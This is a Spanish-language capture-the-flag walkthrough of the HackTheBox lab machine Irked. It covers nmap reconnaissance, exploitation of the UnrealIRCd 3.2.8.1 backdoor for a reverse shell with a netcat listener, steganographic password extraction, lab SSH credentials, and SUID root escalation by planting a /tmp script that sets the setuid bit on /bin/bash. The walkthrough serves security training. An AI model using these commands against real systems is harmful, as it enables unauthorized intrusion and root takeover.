Irked

Irked
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 17 Noviembre 2018 MrAgent

Resumen

En este post, estaremos resolviendo la máquina Irked de la plataforma HTB. En primer lugar, explotaremos el servicio de IRC mediante una inyección de comandos para ganar acceso al sistema. Al enumerar el sistema, encontramos una contraseña y una pista relacionada con esteganografía, la cual utilizaremos para extraer otra contraseña que nos dara acceso a otro usuario. Finalmente, para escalar nuestros privilegios, encontramos un binario con permisos SUID que intenta ejecutar un script inexistente desde /tmp.

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Irked

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

 nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.117 -oG open_ports -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 13:01 EDT
Initiating SYN Stealth Scan at 13:01
Scanning 10.10.10.117 [65535 ports]
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 51659/tcp on 10.10.10.117
Completed SYN Stealth Scan at 13:02, 14.49s elapsed (65535 total ports)
Nmap scan report for 10.10.10.117
Host is up, received user-set (0.18s latency).
Scanned at 2024-07-07 13:01:48 EDT for 14s
Not shown: 65036 closed tcp ports (reset), 492 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE    REASON
22/tcp    open  ssh        syn-ack ttl 63
80/tcp    open  http       syn-ack ttl 63
111/tcp   open  rpcbind    syn-ack ttl 63
6697/tcp  open  ircs-u     syn-ack ttl 63
8067/tcp  open  infi-async syn-ack ttl 63
51659/tcp open  unknown    syn-ack ttl 63
65534/tcp open  unknown    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
           Raw packets sent: 71000 (3.124MB) | Rcvd: 67507 (2.701MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

> nmap -sCV -p 10.10.10.117 -oN service_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 13:03 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
Initiating Ping Scan at 13:03
Scanning 10.10.10.117 [4 ports]
Completed Ping Scan at 13:03, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:03
Completed Parallel DNS resolution of 1 host. at 13:03, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:03
Scanning 10.10.10.117 (10.10.10.117) [7 ports]
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Discovered open port 51659/tcp on 10.10.10.117
Completed SYN Stealth Scan at 13:03, 0.18s elapsed (7 total ports)
Initiating Service scan at 13:03
Scanning 7 services on 10.10.10.117 (10.10.10.117)
Completed Service scan at 13:03, 13.77s elapsed (7 services on 1 host)
NSE: Script scanning 10.10.10.117.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 4.87s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 1.24s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
# Nmap 7.94SVN scan initiated Sun Jul  7 13:03:15 2024 as: nmap -sCV -p22,80,111,6697,8067,51659,65534 -oN service_scan -vvv 10.10.10.117
Nmap scan report for 10.10.10.117 (10.10.10.117)
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2024-07-07 13:03:16 EDT for 20s

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI+wKAAyWgx/P7Pe78y6/80XVTd6QEv6t5ZIpdzKvS8qbkChLB7LC+/HVuxLshOUtac4oHr/IF9YBytBoaAte87fxF45o3HS9MflMA4511KTeNwc5QuhdHzqXX9ne0ypBAgFKECBUJqJ23Lp2S9KuYEYLzUhSdUEYqiZlcc65NspAAAAFQDwgf5Wh8QRu3zSvOIXTk+5g0eTKQAAAIBQuTzKnX3nNfflt++gnjAJ/dIRXW/KMPTNOSo730gLxMWVeId3geXDkiNCD/zo5XgMIQAWDXS+0t0hlsH1BfrDzeEbGSgYNpXoz42RSHKtx7pYLG/hbUr4836olHrxLkjXCFuYFo9fCDs2/QsAeuhCPgEDjLXItW9ibfFqLxyP2QAAAIAE5MCdrGmT8huPIxPI+bQWeQyKQI/lH32FDZb4xJBPrrqlk9wKWOa1fU2JZM0nrOkdnCPIjLeq9+Db5WyZU2u3rdU8aWLZy8zF9mXZxuW/T3yXAV5whYa4QwqaVaiEzjcgRouex0ev/u+y5vlIf4/SfAsiFQPzYKomDiBtByS9XA==
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGASnp9kH4PwWZHx/V3aJjxLzjpiqc2FOyppTFp7/JFKcB9otDhh5kWgSrVDVijdsK95KcsEKC/R+HJ9/P0KPdf4hDvjJXB1H3Th5/83gy/TEJTDJG16zXtyR9lPdBYg4n5hhfFWO1PxM9m41XlEuNgiSYOr+uuEeLxzJb6ccq0VMnSvBd88FGnwpEoH1JYZyyTnnbwtBrXSz1tR5ZocJXU4DmI9pzTNkGFT+Q/K6V/sdF73KmMecatgcprIENgmVSaiKh9mb+4vEfWLIe0yZ97c2EdzF5255BalP3xHFAY0jROiBnUDSDlxyWMIcSymZPuE1N6Tu8nQ/pXxKvUar
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFeZigS1PimiXXJSqDy2KTT4UEEphoLAk8/ftEXUq0ihDOFDrpgT0Y4vYgYPXboLlPBKBc0nVBmKD+6pvSwIEy8=
|   256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6m+0iYo68rwVQDYDejkVvsvg22D8MN+bNWMUEOWrhj
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41308/tcp6  status
|   100024  1          43353/udp   status
|   100024  1          49684/udp6  status
|_  100024  1          51659/tcp   status
6697/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
8067/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
51659/tcp open  status  syn-ack ttl 63 1 (RPC #100024)
65534/tcp open  irc     syn-ack ttl 63 UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  7 13:03:36 2024 -- 1 IP address (1 host up) scanned in 20.53 seconds

Enumeración de servicios

Irked

Irked

Explotación inicial

Servicio IRC

El servicio IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real que permite a los usuarios chatear en canales públicos y privados. Es uno de los primeros protocolos de chat en línea y todavía es utilizado por diversas comunidades para la comunicación en grupo.

Para interactuar con un servidor IRC usando nc (netcat), sigue estos pasos:

Irked

Unreal es un servidor de IRC (Internet Relay Chat) de código abierto. Se utiliza para crear y gestionar redes de chat en tiempo real. UnrealIRCd es conocido por su flexibilidad, seguridad y capacidad de configuración, ofreciendo una amplia variedad de características para administradores y usuarios de IRC.

Vemos que la versión que se esta ejecutando es la Unreal3.2.8.1..

Si hacemos una búsqueda rápida en Google, vemos que existe una vulnerabilidad de Backdoor Command Execution en esta versión.

https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor

Modificamos el exploit indicando nuestra ip y el puerto en el cual vamos a recibir la reverse shell.

Irked

Nos ponemos en escucha por el puerto 443.

nc -lnvp 443

Ejecutamos el exploit.

Irked

Ganamos acceso al sistema.

Irked

Enumeración / Movimiento lateral

Si realizamos una enumeración básica, encontramos un archivo .backup bajo el directorio Documents del usuario djmardov.

Irked

Podemos utilizar esta contraseña UPupDOWNdownLRlrBAbaSSss para aplicar una técnica conocida como esteganografía en la imágen presente en la web.

Esteganografía

Descargamos la imágen de la web a nuestra máquina atacante.

> wget http://irked.htb/irked.jpg
❯ steghide --extract -sf irked.jpg
Enter passphrase: 
wrote extracted data to "pass.txt".

La esteganografía es una técnica de ocultamiento de información que se remonta a la antigüedad. A diferencia de la criptografía, que se enfoca en encriptar el contenido para hacerlo ilegible, la esteganografía se centra en ocultar la existencia misma del mensaje. El objetivo es que un observador no autorizado no pueda detectar la presencia del mensaje oculto.

En la esteganografía digital, se oculta la información dentro de archivos digitales, como imágenes, audio o video, de manera que parezcan normales a simple vista. Este ocultamiento se logra mediante técnicas como la modificación del bit menos significativo en los archivos de imagen, la ocultación de datos en el espacio de color de una imagen o la inserción de información en el espectro de frecuencia de archivos de audio.

Esta técnica se utiliza en diversos ámbitos, desde la seguridad informática, donde se puede emplear para enviar mensajes secretos, hasta en la protección de derechos de autor y marcas de agua digitales. Sin embargo, también puede ser utilizada con propósitos maliciosos, como el espionaje cibernético o la distribución de contenido ilegal.

Irked

djmardov:Kab6h+m+bbp2J:HG

Nos conectamos por ssh con el usuario djmardov utilizando esta contraseña.

Irked

Leemos la flag de user.txt

Irked

Elevación de privilegios

Si enumeramos binarios SUID encontramos uno de ellos que nos llama la atención.

Irked

Probamos ejecutarlo y obtenemos lo siguiente:

Irked

Vemos que esta intentando ejecutar con sh un script bajo la ruta /tmp el cual no existe.

Creamos el script listusers con el siguiente contenido:

echo 'chmod u+s /bin/bash' > listusers
chmod +x listusers

Y ejecutamos el binario nuevamente.

Irked

Ahora si hacemos un bash -p logramos acceder como root y escalando nuestros privilegios.

Irked

Leemos la flag de root.xt.

Irked